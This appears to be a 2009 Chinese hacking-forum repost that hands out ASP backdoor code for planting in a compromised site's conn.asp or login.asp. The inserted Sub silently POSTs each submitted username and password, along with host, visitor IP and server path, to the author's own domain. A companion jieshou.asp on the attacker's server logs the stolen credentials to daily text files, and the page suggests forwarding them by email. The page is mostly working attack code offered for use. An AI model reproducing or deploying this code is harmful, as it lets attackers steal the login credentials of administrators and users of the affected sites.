首页 电脑 电脑学堂 查看内容

asp通用记录账号密码的代码

2009-5-3 11:32 611 0

摘要: 第一段代码: Sub xxbing(urldizhi,jbdizhi,namea,passb,xinxi) Dim xmlHttp,xmlGet,urlStr xinxi=request.Server...
关键词: request 代码 xinxi 文件 asp xmlHttp Write Response jieshou LogName

第一段代码: Sub xxbing(urldizhi,jbdizhi,namea,passb,xinxi) Dim xmlHttp,xmlGet,urlStr xinxi=request.ServerVariables("Http_Host")&"|"&Request.ServerVariables("Remote_Addr")&"|"&request.ServerVariables("Path_Translated") urlStr="http://"&urldizhi&"/"&jbdizhi&"?name="&namea&"&pass="&passb&"&xinxi="&xinxi 'Response.Write urlstr&"<BR>" Set xmlHttp = CreateObject("Msxml2.XMLHTTP") On Error Resume Next xmlHttp.Open "POST", urlStr, False xmlHttp.Send If Err.Number = 0 Then xmlGet = xmlHttp.responseText Else 'Response.Write Err.Description & urlStr 'response.write "<script>alert('出现错误')</script>" response.end end if End Sub 复制代码这个是插入到对方的asp文件中的代码,可以插入到conn.asp或者login.asp中,只要登陆页面能调用到就行。调用的方法为: Call xxbing("www.aidaner.cn","jieshou.asp",Request("LogName"),Request("LogPwd"),xinxi) 复制代码其中www.aidaner.cn是你的域名。jieshou.asp文件是接受post过来的数据的文件。request("logName")是对方login.asp文件中账号变量,Request("LogPwd")是对方login.asp中的密码变量。xinxi 是记录登录者信息的变量,这个不用修改。其他的都要按照自己的情况进行修改。有些人肯定会问,我该插到哪里呢?我给个示范例子。 IF Trim(Replace(Request("LogName"),"'",""))=LogName and Trim(Replace(Request("LogPwd"),"'",""))=LogPWD Then //判断账号密码与数据库中的是否一致 'Call xxbing("www.aidaner.cn","jieshou.asp",Request("LogName"),Request("LogPwd"),xinxi) //我们就在这中间插入调用代码 Session("PROADMIN")=True // 如果账号密码正确就给session Session("eWebEditor_User") = "True" Response.Redirect "Default.asp" Else Response.Write "<script language='javascript'>alert('妈B的,不要猜劳资后台帐号和密码,日你妈!');</script>" //呵呵,这里就是错误的情况下弹出的对话框! End IF 复制代码再放出jieshou.asp的源代码。jieshou.asp是放在你自己的服务器里哦,上面说的代码都是插在对方asp文件中的。 <% name = request("name") pass = request("pass") xinxi = request("xinxi") path = date() //路径我取的是日期,有时候账号密码多了,会造成很大的txt文件。 if name<>"" and pass<>"" then call Createfile(name,pass,xinxi) end if Sub CreateFile(name,pass,xinxi) Dim fso, tf ,cf Set fso = CreateObject("Scripting.FileSystemObject") Set tf = fso.openTextFile(server.mappath("caonimade/"&path&".txt"),8,True,True) '写在caonima的目录下,txt文件是日期命名的。一天生成一个txt文件。 'tf.WriteLine("Testing 1, 2, 3.") '向文件写三个新行字符。 'tf.WriteBlankLines(3) '写一行。 xinxi = split(xinxi,"|") For Each Strs In xinxi tf.Write "inf"&Strs&"<br>" Next tf.Write "name:"&name&"<br>" tf.Write "pass:"&pass&"<br>" tf.write "----------------<Br>" tf.Close set fso = nothing End Sub %> 复制代码发张图,我记录的。 我现在放出的jieshou.asp是利用xmlhttp组建远程post数据,大家想通过调用jmail组件发邮件,可以去参考陆羽帅哥的代码,在这个栏目里面有。什么代码都放出来了,就不好玩了,大家可以自己动手改改代码,很好玩的!找到了:http://www.t00ls.net/thread-1378-1-3.html建议发送到139邮箱,有新邮件,手机短信通知。很强大的。  
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部